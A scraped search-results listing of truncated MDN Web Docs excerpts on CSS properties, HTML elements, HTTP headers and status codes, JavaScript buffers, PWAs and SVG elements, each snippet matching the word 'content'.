contentunits="objectboundingbox" style="mask-type:luminance"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); mask-type:luminance; } result specifications specification status comment css masking module level 1the definition of 'mask-type' in that specification.
object-position - CSS: Cascading Style Sheets
the object-position css property specifies the alignment of the selected replaced element's
contents within the element's box.
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples positioning image
content html here we see html that includes two <img> elements, each displaying the mdn logo.
order - CSS: Cascading Style Sheets
accessibility concerns using the order property will create a disconnect between the visual presentation of
content and dom order.
...1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial value0applies toflex items and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> examples ordering items in a flex container this example uses css to create a classic two-sidebar layout surrounding a
content block.
outline-color - CSS: Cascading Style Sheets
unlike the element's border, the outline is drawn outside the element's frame, and may overlap other
content.
...in order to meet current web
content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text
content and 3:1 for larger text such as headings.
overflow-wrap - CSS: Cascading Style Sheets
soft wrap opportunities introduced by the word break are considered when calculating min-
content intrinsic sizes.
... break-word the same as the anywhere value, with normally unbreakable words allowed to be broken at arbitrary points if there are no otherwise acceptable break points in the line, but soft wrap opportunities introduced by the word break are not considered when calculating min-
content intrinsic sizes.
padding-bottom - CSS: Cascading Style Sheets
an element's padding area is the space between its
content and its border.
...it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting padding bottom with pixels and percentages .
content { padding-bottom: 5%; } .sidebox { padding-bottom: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-bottom' in that specification.
padding-left - CSS: Cascading Style Sheets
an element's padding area is the space between its
content and its border.
...it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting left padding using pixels and percentages .
content { padding-left: 5%; } .sidebox { padding-left: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-left' in that specification.
padding-right - CSS: Cascading Style Sheets
an element's padding area is the space between its
content and its border.
...it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting right padding using pixels and percentages .
content { padding-right: 5%; } .sidebox { padding-right: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-right' in that specification.
padding-top - CSS: Cascading Style Sheets
an element's padding area is the space between its
content and its border.
...it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting top padding using pixels and percentages .
content { padding-top: 5%; } .sidebox { padding-top: 10px; } specifications specification status comment css basic box modelthe definition of 'padding-top' in that specification.
pointer-events - CSS: Cascading Style Sheets
in svg
content, this value and the value visiblepainted have the same effect.
... description when this property is unspecified, the same characteristics of the visiblepainted value apply to svg
content.
scroll-margin-inline-end - CSS: Cascading Style Sheets
the outer container is styled like this: .scroller { text-align: left; width: 250px; height: 250px; overflow-x: scroll; display: flex; box-sizing: border-box; border: 1px solid #000; scroll-snap-type: x mandatory; } the main parts relevant to the scroll snapping are overflow-x: scroll, which makes sure the
contents will scroll and not be hidden, and scroll-snap-type: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point.
... the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-
content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
scroll-margin-inline-start - CSS: Cascading Style Sheets
the outer container is styled like this: .scroller { text-align: left; width: 250px; height: 250px; overflow-x: scroll; display: flex; box-sizing: border-box; border: 1px solid #000; scroll-snap-type: x mandatory; } the main parts relevant to the scroll snapping are overflow-x: scroll, which makes sure the
contents will scroll and not be hidden, and scroll-snap-type: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point.
... the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-
content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap points.
scroll-margin-inline - CSS: Cascading Style Sheets
the outer container is styled like this: .scroller { text-align: left; width: 250px; height: 250px; overflow-x: scroll; display: flex; box-sizing: border-box; border: 1px solid #000; scroll-snap-type: x mandatory; } the main parts relevant to the scroll snapping are overflow-x: scroll, which makes sure the
contents will scroll and not be hidden, and scroll-snap-type: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point.
... the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-
content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
scroll-snap-type-x - CSS: Cascading Style Sheets
if
content is added, moved, deleted or resized the scroll offset will be adjusted to maintain the resting on that snap point.
...if
content is added, moved, deleted or resized the scroll offset may be adjusted to maintain the resting on that snap point.
scroll-snap-type-y - CSS: Cascading Style Sheets
if
content is added, moved, deleted or resized the scroll offset will be adjusted to maintain the resting on that snap point.
...if
content is added, moved, deleted or resized the scroll offset may be adjusted to maintain the resting on that snap point.
top - CSS: Cascading Style Sheets
auto specifies that: for absolutely positioned elements, the position of the element is based on the bottom property, while height: auto is treated as a height based on the
content; or if bottom is also auto, the element is positioned where it should vertically be positioned if it were a static element.
... a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples body { background: beige; } div { position: absolute; top: 10%; right: 40%; bottom: 20%; left: 15%; background: gold; border: 1px solid blue; } <div>the size of this
content is determined by the position of its edges.</div> specifications specification status comment css positioned layout module level 3the definition of 'top' in that specification.
matrix3d() - CSS: Cascading Style Sheets
>6</div> </section> css #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); margin: 50px auto; } #example-element:hover, #example-element:focus { transform: rotate3d(1, 1, 1, 30deg) matrix3d(1,0,0,0,0,1,6,0,0,0,1,0,50,100,0,1.1); } .face { display: flex; align-items: center; justify-
content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .lef...
...</div> css html { width: 100%; } body { height: 100vh; /* centering
content */ display: flex; flex-flow: row wrap; justify-
content: center; align-
content: center; } .foo { width: 50%; padding: 1em; color: white; background: #ff8c66; border: 2px dashed black; text-align: center; font-family: system-ui, sans-serif; font-size: 14px; /* setting up animation for better demonstration */ animation: motionscale 2s alternate linear infinite; } @ke...
user-select - CSS: Cascading Style Sheets
this doesn't have any effect on
content loaded as chrome, except in textboxes.
... all the
content of the element shall be selected atomically: if a selection would contain part of the element, then the selection must contain the entire element including all its descendants.
Mouse gesture events - Developer guides
note: these gesture events are available to add-ons and other browser chrome code, but are never sent to regular web page
content.
...this is typically used to zoom in and out on
content (this is the default behavior in firefox, for example).
Constraint validation - Developer guides
html5 introduced new mechanisms for forms: it added new semantic types for the <input> element and constraint validation to ease the work of checking the form
content on the client side.
... :placeholder-shown css pseudo-class see :placeholder-shown :valid :invalid css pseudo-classes the :valid and :invalid pseudo-classes are used to represent <input> elements whose
content validates and fails to validate respectively according to the input's type setting.
Separate sites for mobile and desktop - Developer guides
in a nutshell, this technique uses server-side logic to solve all three goals of mobile web development at once — if the user’s browser looks like it’s on a phone, you serve them mobile
content, formatted for their phone and optimized for speed.
...since only the mobile-specific
content, styles, and scripts are sent to mobile users, this method also provides for the best performance out of any of the other options presented here.
Mobile Web Development - Developer guides
but sometimes this is impractical, and web sites resort to parsing the browser's user agent string to try to distinguish between desktops, tablets, and phones, to serve different
content to each type of device.
... if you do this, make sure your algorithm is correct, and you aren't serving the wrong type of
content to a device because you don't understand a particular browser's user agent string.
The Web Open Font Format (WOFF) - Developer guides
using woff you can use the @font-face css property to use woff fonts for text in web
content.
... it works exactly like opentype and truetype format fonts do, except it will likely let your
content download more efficiently due to the addition of compression.
Writing forward-compatible websites - Developer guides
javascript prefix all global variable access in onfoo attributes with “window.” when an event handler
content attribute (onclick, onmouseover, and so forth) is used on html element, all name lookup in the attribute first happens on the element itself, then on the element's form if the element is a form control, then on the document, and then on the window (where the global variables you have defined are).
... what this means is that any time you access a global variable in an event handler
content attribute, including calling any function declared globally, you can end up with a name collision if a specification adds a new dom property to elements or documents which has the same name as your function or variable, and a browser implements it.
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
if the source of the foreign
content is an html <img> or svg <svg> element, attempting to retrieve the
contents of the canvas isn't allowed.
... if the foreign
content comes from an image obtained from either as htmlcanvaselement or imagebitmap, and the image source doesn't meet the same origin rules, attempts to read the canvas's
contents are blocked.
<center>: The Centered Text element (obsolete) - HTML: Hypertext Markup Language
the obsolete html center element (<center>) is a block-level element that displays its block-level or inline
contents centered horizontally within its containing element.
...<p>so will this paragraph.</p></div> example 3 (css alternative) <p style="text-align:center">this line will be centered.<br> and so will this line.</p> note applying text-align:center to a <div> or <p> element centers the
contents of those elements while leaving their overall dimensions unchanged.
theme-color - HTML: Hypertext Markup Language
if specified, the
content attribute must contain a valid css <color>.
... example <meta name="theme-color"
content="#4285f4"> the following image shows the effect that the <meta> element above will have on a document displayed in chrome running on an android mobile device.
<picture>: The Picture element - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content, embedded
content permitted
content zero or more <source> elements, followed by one <img> element, optionally intermixed with script-supporting elements.
... permitted parents any element that allows embedded
content.
<slot> - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content permitted
content transparent events slotchange tag omission none, both the starting and ending tag are mandatory.
... permitted parents any element that accepts phrasing
content implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlslotelement attributes this element includes the global attributes.
dir - HTML: Hypertext Markup Language
as the directionality of the text is semantically related to its
content and not to its presentation, it is recommended that web developers use this attribute instead of the related css properties when possible.
... browsers might allow users to change the directionality of <input> and <textarea>s in order to assist with authoring
content.
hidden - HTML: Hypertext Markup Language
the hidden attribute must not be used to hide
content just from one presentation.
...if the
content is not applicable or relevant, then there is no reason to link to it.
itemscope - HTML: Hypertext Markup Language
pt1h30m" itemprop="totaltime">1 hour 30 min</time><br> yield: <span itemprop="recipeyield">1 9" pie (8 servings)</span><br> <span itemprop="nutrition" itemscope itemtype="http://schema.org/nutritioninformation"> serving size: <span itemprop="servingsize">1 medium slice</span><br> calories per serving: <span itemprop="calories">250 cal</span><br> fat per serving: <span itemprop="fat
content">12 g</span><br> </span> <p> ingredients:<br> <span itemprop="recipeingredient">thinly-sliced apples: 6 cups<br></span> <span itemprop="recipeingredient">white sugar: 3/4 cup<br></span> ...
...[person] itemprop name carol smith itemscope itemprop[itemtype] aggregaterating [aggregaterating] itemprop ratingvalue 4.0 itemprop reviewcount 35 itemscope itemprop[itemtype] nutrition [nutritioninformation] itemprop servingsize 1 medium slice itemprop calories 250 cal itemprop fat
content 12 g note: a handy tool for extracting microdata structures from html is google's structured data testing tool.
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
xhtml if you serve your page as xhtml using the application/xhtml+xml mime type in the
content-type http header, you do not need a doctype to enable standards mode, as such documents always use full standards mode.
... if you serve xhtml-like
content using the text/html mime type, browsers will read it as html, and you will need the doctype to use standards mode.
Data URLs - HTTP
data urls, urls prefixed with the data: scheme, allow
content creators to embed small files inline in documents.
... data:text/html,lots of text...<p><a name%3d"bottom">bottom</a>?arg=val this represents an html resource whose
contents are: lots of text...<p><a name="bottom">bottom</a>?arg=val syntax the format for data urls is very simple, but it's easy to forget to put a comma before the "data" segment, or to incorrectly encode the data into base64 format.
Cross-Origin Resource Policy (CORP) - HTTP
in response, chromium shipped cross-origin read blocking, which automatically protects certain resources (of
content-type html, json and xml) against cross-origin reads.
... if the application does not serve a no-sniff directive, chromium will attempt to guess the
content-type and apply the protection anyway.
Accept-Charset - HTTP
using
content negotiation, the server selects one of the encodings, uses it, and informs the client of its choice within the
content-type response header, usually in a charset= parameter.
...this is no longer recommended, and now each
content-type may have its own default.
Accept-Language - HTTP
(by languages, we mean natural languages, such as english, and not programming languages.) using
content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the
content-language response header.
...the
content of the accept-language is often out of the control of the user (like when traveling and using an internet cafe in a different country); the user may also want to visit a page in another language than the locale of their user interface.
Accept-Patch - HTTP
notes: an iana registry maintains a complete list of official
content encodings.
... two others
content encoding, bzip and bzip2, are sometimes used, though not standard.
Accept - HTTP
the accept request http header advertises which
content types, expressed as mime types, the client is able to understand.
... using
content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the
content-type response header.
Access-Control-Expose-Headers - HTTP
by default, only the 7 cors-safelisted response headers are exposed: cache-control
content-language
content-length
content-type expires last-modified pragma if you want clients to be able to access other headers, you have to list them using the access-control-expose-headers header.
... examples to expose a non-cors-safelisted request header, you can specify: access-control-expose-headers:
content-length to additionally expose a custom header, like x-kuma-revision, you can specify multiple headers separated by a comma: access-control-expose-headers:
content-length, x-kuma-revision in requests without credentials, you can also use a wildcard value: access-control-expose-headers: * however, this won't wildcard the authorization header, so if you need to expose that, you will need to lis...
CSP: trusted-types - HTTP
the http
content-security-policy (csp) trusted-types directive instructs user agents to restrict usage of known dom xss sinks to a predefined set of functions that only accept non-spoofable, typed values in place of strings.
... syntax
content-security-policy: trusted-types;
content-security-policy: trusted-types <policyname>;
content-security-policy: trusted-types <policyname> <policyname> 'allow-duplicates'; <domstring> any string can be a trusted type policy name.
If-None-Match - HTTP
note that the server generating a 304 response must generate any of the following header fields that would have been sent in a 200 (ok) response to the same request: cache-control,
content-location, date, etag, expires, and vary.
... the comparison with the stored etag uses the weak comparison algorithm, meaning two files are considered identical if the
content is equivalent — they don't have to be identical byte for byte.
Server - HTTP
however, exposed apache versions helped browsers work around a bug those versions had with
content-encoding combined with range.
... examples server: apache/2.4.1 (unix) specifications specification title rfc 7231, section 7.4.2: server hypertext transfer protocol (http/1.1): semantics and
content ...
Trailer - HTTP
these header fields are disallowed: message framing headers (e.g., transfer-encoding and
content-length), routing headers (e.g., host), request modifiers (e.g., controls and conditionals, like cache-control, max-forwards, or te), authentication headers (e.g., authorization or set-cookie), or
content-encoding,
content-type,
content-range, and trailer itself.
... http/1.1 200 ok
content-type: text/plain transfer-encoding: chunked trailer: expires 7\r\n mozilla\r\n 9\r\n developer\r\n 7\r\n network\r\n 0\r\n expires: wed, 21 oct 2015 07:28:00 gmt\r\n \r\n specifications specification title rfc 7230, section 4.4: trailer hypertext transfer protocol (http/1.1): message syntax and routing rfc 7230, section 4.1.2: chunked trailer part hypertext transfer protocol (http/1.1): message syntax and routing ...
Firefox user agent string reference - HTTP
the preferred way to target
content to a device form factor is to use css media queries.
... however, if you use ua sniffing to target
content to a device form factor, please look for mobi (to include opera mobile, which uses "mobi") for the phone form factor and do not assume any correlation between "android" and the device form factor.
X-XSS-Protection - HTTP
although these protections are largely unnecessary in modern browsers when sites implement a strong
content-security-policy that disables the use of inline javascript ('unsafe-inline'), they can still provide protections for users of older web browsers that don't yet support csp.
... chrome has removed their xss auditor firefox have not, and will not implement x-xss-protection edge have retired their xss filter this means that if you do not need to support legacy browsers, it is recommended that you use
content-security-policy without allowing unsafe-inline scripts instead.
DELETE - HTTP
a 204 (no
content) status code if the action has been enacted and no further information is to be supplied.
... http/1.1 200 ok date: wed, 21 oct 2015 07:28:00 gmt <html> <body> <h1>file deleted.</h1> </body> </html> specifications specification title rfc 7231, section 4.3.5: delete hypertext transfer protocol (http/1.1): semantics and
content ...
HEAD - HTTP
for example, if a url might produce a large download, a head request could read its
content-length header to check the filesize without actually downloading the file.
... request has body no successful response has body no safe yes idempotent yes cacheable yes allowed in html forms no syntax head /index.html specifications specification title rfc 7231, section 4.3.2: head hypertext transfer protocol (http/1.1): semantics and
content ...
PATCH - HTTP
request has body yes successful response has body yes safe no idempotent no cacheable no allowed in html forms no syntax patch /file.txt http/1.1 example request patch /file.txt http/1.1 host: www.example.com
content-type: application/example if-match: "e0023aa4e"
content-length: 100 [description of changes] response a successful response is indicated by any 2xx status code.
... http/1.1 204 no
content content-location: /file.txt etag: "e0023aa4f" specifications specification title rfc 5789: patch patch method for http ...
TRACE - HTTP
the final recipient of the request should reflect the message received, excluding some fields described below, back to the client as the message body of a 200 (ok) response with a
content-type of message/http.
... request has body no successful response has body no safe no idempotent yes cacheable no allowed in html forms no syntax trace /index.html specifications specification title rfc 7231, section 4.3.8: trace hypertext transfer protocol (http/1.1): semantics and
content ...
An overview of HTTP - HTTP
due to its extensibility, it is used to not only fetch hypertext documents, but also images and videos or to post
content to servers, like with html form results.
...for example: get / http/1.1 host: developer.mozilla.org accept-language: fr read the response sent by the server, such as: http/1.1 200 ok date: sat, 09 oct 2010 14:28:02 gmt server: apache last-modified: tue, 01 dec 2009 20:18:22 gmt etag: "51142bc1-7449-479b075b2891b" accept-ranges: bytes
content-length: 29769
content-type: text/html <!doctype html...
200 OK - HTTP
the successful result of a put or a delete is often not a 200 ok but a 204 no
content (or a 201 created when the resource is uploaded for the first time).
... status 200 ok specifications specification title rfc 7231, section 6.3.1: 200 ok hypertext transfer protocol (http/1.1): semantics and
content ...
201 Created - HTTP
the new resource is effectively created before this response is sent back and the new resource is returned in the body of the message, its location being either the url of the request, or the
content of the location header.
... status 201 created specifications specification title rfc 7231, section 6.3.2: 201 created hypertext transfer protocol (http/1.1): semantics and
content ...
402 Payment Required - HTTP
originally it was created to enable digital cash or (micro) payment systems and would indicate that the requested
content is not available until the client makes a payment.
... status 402 payment required example response http/1.1 402 payment required date: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7231, section 6.5.2: 402 payment required http/1.1: semantics and
content ...
415 Unsupported Media Type - HTTP
the format problem might be due to the request's indicated
content-type or
content-encoding, or as a result of inspecting the data directly.
... status 415 unsupported media type specifications specification title rfc 7231, section 6.5.13: 415 unsupported media type hypertext transfer protocol (http/1.1): semantics and
content ...
416 Range Not Satisfiable - HTTP
the 416 response message contains a
content-range indicating an unsatisfied range (that is a '*') followed by a '/' and the current length of the resource.
...
content-range: bytes */12777 faced with this error, browsers usually either abort the operation (for example, a download will be considered as non-resumable) or ask for the whole document again.
451 Unavailable For Legal Reasons - HTTP
this includes the name of the person or organization that made a legal demand resulting in the
content's removal.
... http/1.1 451 unavailable for legal reasons link: <https://spqr.example.org/legislatione>; rel="blocked-by"
content-type: text/html <html> <head><title>unavailable for legal reasons</title></head> <body> <h1>unavailable for legal reasons</h1> <p>this request may not be serviced in the roman province of judea due to the lex julia majestatis, which disallows access to resources hosted on servers deemed to be operated by the people's front of judea.</p> </body> </html> specifications specification title rfc 7725: 451 unavailable for legal reasons an http status code to report legal obstacles ...
HTTP
custom proprietary headers can be added using the x- prefix; others in an iana registry, whose original
content was defined in rfc 4229.
... csp directives the
content-security-policy response header fields allows web site administrators to control resources the user agent is allowed to load for a given page.
Indexed collections - JavaScript
a buffer (implemented by the arraybuffer object) is an object representing a chunk of data; it has no format to speak of, and offers no mechanism for accessing its
contents.
...you can't directly manipulate the
contents of an arraybuffer; instead, you create a typed array view or a dataview which represents the buffer in a specific format, and use that to read and write the
contents of the buffer.
JavaScript modules - JavaScript
to get modules to work correctly in a browser, you need to make sure that your server is serving them with a
content-type header that contains a javascript mime type such as text/javascript.
...you can configure your server to set the correct
content-type for .mjs files).
ArrayBuffer - JavaScript
it is an array of bytes, often referred to in other languages as a "byte array".you cannot directly manipulate the
contents of an arraybuffer; instead, you create one of the typed array objects or a dataview object which represents the buffer in a specific format, and use that to read and write the
contents of the buffer.
... instance methods arraybuffer.prototype.slice() returns a new arraybuffer whose
contents are a copy of this arraybuffer's bytes from begin (inclusive) up to end (exclusive).
WebAssembly.Module.customSections() - JavaScript
the webassembly.customsections() function returns a copy of the
contents of all custom sections in the given module with the given string name.
... return value a (possibly empty) array containing arraybuffer copies of the
contents of all custom sections matching sectionname.
Strict mode - JavaScript
you can also take the approach of wrapping the entire
contents of a script in a function and having that outer function use strict mode.
... the entire
contents of javascript modules are automatically in strict mode, with no statement needed to initiate it.
Web app manifests
//play.google.com/store/apps/details?id=cheeaun.hackerweb" }] } deploying a manifest web app manifests are deployed in your html pages using a <link> element in the <head> of a document: <link rel="manifest" href="/manifest.webmanifest"> note: the .webmanifest extension is specified in the media type registration section of the specification (the response of the manifest file should return
content-type: application/manifest+json).
... browsers generally support manifests with other appropriate extensions like .json (
content-type: application/json).
<mi> - MathML
the mathml <mi> element indicates that the
content should be rendered as an identifier such as function names, variables or symbolic constants.
... mathsize the size of the
content.
MathML
mathematical markup language (mathml) is a dialect of xml for describing mathematical notation and capturing both its structure and
content.
... authoring mathml suggestions and tips for writing mathml, including suggested mathml editors and how to integrate their output into web
content.
Codecs used by WebRTC - Web media technologies
see the article handling media support issues in web
content to learn more about how to offer support for your preferred codecs while still being able to fall back on browsers that don't implement that codec.
...this could potentially allow a bad actor to infer something about the
content of the stream, given the ebb and flow of the bit rate.
Using images in HTML - Web media technologies
css object-fit the object-fit css property sets how the
content of a replaced element, such as an <img> or <video>, should be resized to fit its container.
... object-position the object-position css property specifies the alignment of
content in a selected replaced element within the element's box.
Lazy loading - Web Performance
css by default, css is treated as a render blocking resource, so the browser won't render any processed
content until the cssom is constructed.
... <img src="image.jpg" loading="lazy" alt="..." /> <iframe src="video-player.html" loading="lazy"></iframe> the load event fires when the eagerly-loaded
content has all been loaded; at that time, it's entirely possible (or even likely) that there may be lazily-loaded images that are within the visual viewport that haven't yet loaded.
How to make PWAs installable - Progressive web apps (PWAs)
the js13kpwa.webmanifest file of the js13kpwa web app is included in the <head> block of the index.html file using the following line of code: <link rel="manifest" href="js13kpwa.webmanifest"> there are a few common kinds of manifest file that have been used in the past: manifest.webapp was popular in firefox os app manifests, and many use manifest.json for web manifests as the
contents are organized in a json structure.
... the
content of the file looks like this: { "name": "js13kgames progressive web app", "short_name": "js13kpwa", "description": "progressive web app that lists games submitted to the a-frame category in the js13kgames 2017 competition.", "icons": [ { "src": "icons/icon-32.png", "sizes": "32x32", "type": "image/png" }, // ...
Progressive loading - Progressive web apps (PWAs)
we should be able to show them at least the basic view of the page they want to see, with placeholders in the places more
content will eventually be loaded.
... conclusion less files to load initially, smaller files split into modules, use of placeholders, and loading more
content on demand — this will help achieve faster initial load times, which brings benefits to the app creator and offers a smoother experience to the user.
Graphic design for responsive sites - Progressive web apps (PWAs)
textual
content is not a problem, as text boxes are innately responsive, but the picture starts to get ugly when you start including graphics and complex layouts on your pages — especially when those graphics and layouts need to adapt to different displays!
...most hi res devices apply a default zoom factor to the whole web page so that the
content is a bit more legible, but the downside of this is that the images in question start to look pixellated and ugly because they have been zoomed in.
clipPathUnits - SVG: Scalable Vector Graphics
the clippathunits attribute indicates which coordinate system to use for the
contents of the <clippath> element.
..."url(#myclip1)" xlink:href="#r1" fill="red" /> <use clip-path="url(#myclip1)" xlink:href="#r2" fill="red" /> <use clip-path="url(#myclip1)" xlink:href="#r3" fill="red" /> <!-- the last rect is clipped with objectboundingbox units --> <use clip-path="url(#myclip2)" xlink:href="#r4" fill="red" /> </svg> clippath for <clippath>, clippathunits define the coordinate system in use for the
content of the element.
type - SVG: Scalable Vector Graphics
for the <style> and <script> elements, it defines the
content type of the element.
...| table | discrete | linear | gamma animatable yes normative document svg 1.1 (2nd edition) for the <feturbulence> element categories none value fractalnoise | turbulence animatable yes normative document svg 1.1 (2nd edition) for the <style> and <script> elements categories none value <
content-type> animatable no normative document svg 1.1 (2nd edition) : script svg 1.1 (2nd edition) : style example elements the following elements can use the values attribute <animatetransform> <fecolormatrix> <fefunca> <fefuncb> <fefuncg> <fefuncr> <feturbulence> <script> <style> ...
SVG Attribute reference - SVG: Scalable Vector Graphics
height accumulate additive alignment-baseline allowreorder alphabetic amplitude arabic-form ascent attributename attributetype autoreverse azimuth b basefrequency baseline-shift baseprofile bbox begin bias by c calcmode cap-height class clip clippathunits clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering
contentscripttype
contentstyletype cursor cx cy d d decelerate descent diffuseconstant direction display divisor dominant-baseline dur dx dy e edgemode elevation enable-background end exponent externalresourcesrequired f fill fill-opacity fill-rule filter filterres filterunits flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-...
... hanging height href hreflang horiz-adv-x horiz-origin-x i id ideographic image-rendering in in2 intercept k k k1 k2 k3 k4 kernelmatrix kernelunitlength kerning keypoints keysplines keytimes l lang lengthadjust letter-spacing lighting-color limitingconeangle local m marker-end marker-mid marker-start markerheight markerunits markerwidth mask mask
contentunits maskunits mathematical max media method min mode n name numoctaves o offset opacity operator order orient orientation origin overflow overline-position overline-thickness p panose-1 paint-order path pathlength pattern
contentunits patterntransform patternunits ping pointer-events points pointsatx pointsaty pointsatz preservealpha preserveaspectrat...
<clipPath> - SVG: Scalable Vector Graphics
attributes clippathunits defines the coordinate system for the
contents of the <clippath> element.
...ost notably: requiredextensions, systemlanguage presentation attributes most notably: clip-path, clip-rule, color, display, fill, fill-opacity, fill-rule, filter, mask, opacity, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriesnonepermitted
contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<text>, <use> specifications specification status comment css masking module level 1the definition of '<clippath>' in that specification.
<defs> - SVG: Scalable Vector Graphics
graphical objects can be referenced from anywhere, however, defining these objects inside of a <defs> element promotes understandability of the svg
content and is beneficial to the overall accessibility of the document.
...th, clip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriescontainer element, structural elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment ...
<feFlood> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <animatecolor>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes flood-color flood-opacity dom interface this element implements the svgfefloodelement interface.
... example html
content <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <defs> <filter id="floodfilter" filterunits="userspaceonuse"> <feflood x="50" y="50" width="100" height="100" flood-color="green" flood-opacity="0.5"/> </filter> </defs> <use style="filter: url(#floodfilter);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feflood>' in that specification.
<feMorphology> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in operator radius dom interface this element implements the svgfemorphologyelement interface.
... examples filtering svg
content svg <svg xmlns="http://www.w3.org/2000/svg" width="300" height="180"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> </filter> <text y="1em">normal text</text> <text id="thin" y="2em">thinned text</text> <text id="thick" y="3em">fattened text</text> </svg> css text { font-family: arial, helvetica, sans-serif; font-size: 3em; } #thin { filter: url(#erode); } #thick { filter: url(#dilate); } filtering html
content svg <svg xmlns="http://www.w3.org/2000/svg" width="0" height="0"> <filter id="erode"> <femorphology operator="erode" radius="1"/> </filter> <filter id="dilate"> <femorphology operator="dilate" radius="2"/> ...
<feSpotLight> - SVG: Scalable Vector Graphics
usage context categorieslight source elementpermitted
contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes specific attributes x y z pointsatx pointsaty pointsatz specularexponent limitingconeangle dom interface this element implements the svgfespotlightelement interface.
... example html
content <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="spotlight"> <fespecularlighting result="spotlight" specularconstant="1.5" specularexponent="4" lighting-color="#fff"> <fespotlight x="600" y="600" z="400" limitingconeangle="5.5" /> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="out" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of...
<marker> - SVG: Scalable Vector Graphics
value type: <length> ; default value: 3; animatable: yes markerunits this attribute defines the coordinate system for the attributes markerwidth, markerheight and the
